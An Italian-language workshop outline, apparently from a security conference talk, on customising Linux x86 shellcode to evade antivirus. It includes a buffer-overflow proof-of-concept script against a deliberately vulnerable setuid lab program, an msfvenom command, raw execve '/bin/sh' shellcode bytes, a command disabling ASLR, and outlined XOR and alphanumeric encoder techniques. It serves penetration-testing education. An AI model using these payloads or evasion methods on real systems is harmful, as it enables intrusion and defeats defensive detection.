Quando facciamo un penetration test, il più delle volte utilizziamo exploit già pronti o usiamo strumenti come msvfenom per creare un payload con qualche opzione particolare.
Esistono situazioni dove hai bisogno di essere più creativo: devi evitare l'antivirus, devi nasconderti dall'IDS o semplicemente vuoi divertirti un po' ed avere il pieno controllo del codice che sarà eseguito sulla macchina.
Ecco, in questo talk vedremo come fare evolvere uno shellcode in ambiente Linux x86 aggiungendo riscrittura nel nostro codice e creando un encoder custom.
Il bypass dell'antivirus forse non sarà garantito, ma il divertimento... quello sì.
Le slide sono disponibili qui
- Penetration tester
- Analisti SOC
- Sviluppatori
BASSO
- Conoscenze base di assembler x86
- Sapere cos'è una system call
- Un pizzico di python o ruby o il linguaggio che più vi piace a cui accodare il nostro shellcode.
- Una macchina virtuale Linux per lo sviluppo (scriveremo assembler per x86, quindi a 32 bit).
- Ubuntu 20.04
- apt install apt install python3 gcc-multilib nasm gdb
- peda: https://github.com/longld/peda
- clonate l'archivio https://github.com/thesp0nge/HackInBoSafeEdition
- Disabilito ASLR "echo 0 > /proc/sys/kernel/randomize_va_space"
Ho bisogno di compilare il programma vittima per iniziare le esercitazioni.
$ cd victim
$ ./compile.sh pwnme.c
$ sudo "chown root:root pwnme"
$ sudo "chmod +s pwnme"
Da una analisi precedente sappiamo che il software pwnme è vulnerabile a buffer overflow. Il contenuto del file pwnme.txt, necessario al funzionamento del nostro tool, vieme copiato in una variabile, purtroppo senza fare un controllo sulla lunghezza dei dati letti da file.
Nel caso il file di testo sia costituito da troppi caratteri, dopo 84 byte avremmo la sovrascittura del registro EIP e di fatto, l'inizio della nostra storia.
Il PoC del nostro exploit sarà questo:
#!/usr/bin/env python3
import os;
eip="BBBB"
shellcode = "A"*84+eip+"C"*200
f = open("pwnme.txt","w")
f.write(shellcode)
f.close()
Abbiamo provato con metasploit a generare un payload con il comando:
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o a.out
Purtroppo veniamo individuati da alcuni antivirus, quindi dobbiamo trovare un altro modo per scrivere il nostro shellcode.
Questo talk non è su come trovare un buffer overflow ma su come customizzare il nostro shellcode. Il programma vulnerabile quindi è stato scritto introducendo la vulnerabilità in maniera forzata, in particolare:
- è stato aggiunto dell'inline assembler per mettere a disposizione l'istruzione JMP ESP
- avendo disattivato la randomizzazione dello stack, ho il nuovo valore del registro EIP sempre fisso
Queste tecniche possono ingannare strumenti basati su signature. Strumenti evoluti che provano ad eseguire il codice in sandbox potrebbero comunque riconoscere i nostri payload. Un security engineer che troverà il payload e ne farà il reverse sarà comunque in grado di riconoscerne il contenuto malevolo.
Andremo ad analizzare lo shellcode che esegue "/bin/sh" e queste saranno le tappe del nostro viaggio:
-
v1.0: da dove arriva "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"? (https://www.virustotal.com/gui/file/d2b927c46e08ddb7f4d8471247e7008f7200ca24962094d343248e9a7a0fe870/detection)
-
v2.0: manovre evasive! (https://www.virustotal.com/gui/file/93f5fc907caa0a5e00e320b59a13059e28c243f13c75ef5c5309eff23dfe15be/detection)
-
v2.1: diamoci dei privilegi (https://www.virustotal.com/gui/file/1596d2642b5656ee0e8cf137c097a308329d3cbdcb238c921a605e0b148b9959/detection)
-
v2.5: togliamo i null byte (https://www.virustotal.com/gui/file/d98b0c36e6dacd22f4f5b1192b7d630221346fb5b2a177eaa00dc1a944aa232f/detection)
-
v3.0: torniamo all'alfabeto
- prendo il mio shellcode e lo scrivo con un set ristretto di operazioni
- allineo il mio shellcode in modo che sia composto da un numero intero di parole a 32 bit. Nel caso appendo tanti \x90 alla bisogna.
- per impostare un registro a 0 posso scegliere un numero a 32 bit a caso, calcolarne il NOT e poi fare l'AND tra il registro e questi due valori. Come risultato avremmo che il registro sarà sempre a 0 qualsiasi sia il suo valore iniziale.
- per scrivere una parola da 32bit, la scriverò come somma di 2 interi che ho "estratto" a caso
- ogni volta mi sottrarrò 4 a EBX che sarà il mio puntatore all'inizio dello shellcode.
- JMP EBX alla fine ed inizierà il mio shellcode che ho decodificato direttamente nello stack
L'ispirazione per questo shellcode è presa da questo articolo su Phrack e da questo talk di Mati Aharoni tenuto a Defcon16
-
v4.0: nascondino (bonus tip: il mistero del segfault solitario) (https://www.virustotal.com/gui/file/9de443e65e82833c66910bbdee23b1bfea7635adcb5c8cc5a6d7cccd04d47a22/detection)
- uso un loop di XOR dove decodifico lo shellcode con la chiave 0xdeadbeef usata per offuscare il codice
- faccio uno swap tra la prima e la seconda metà di ogni word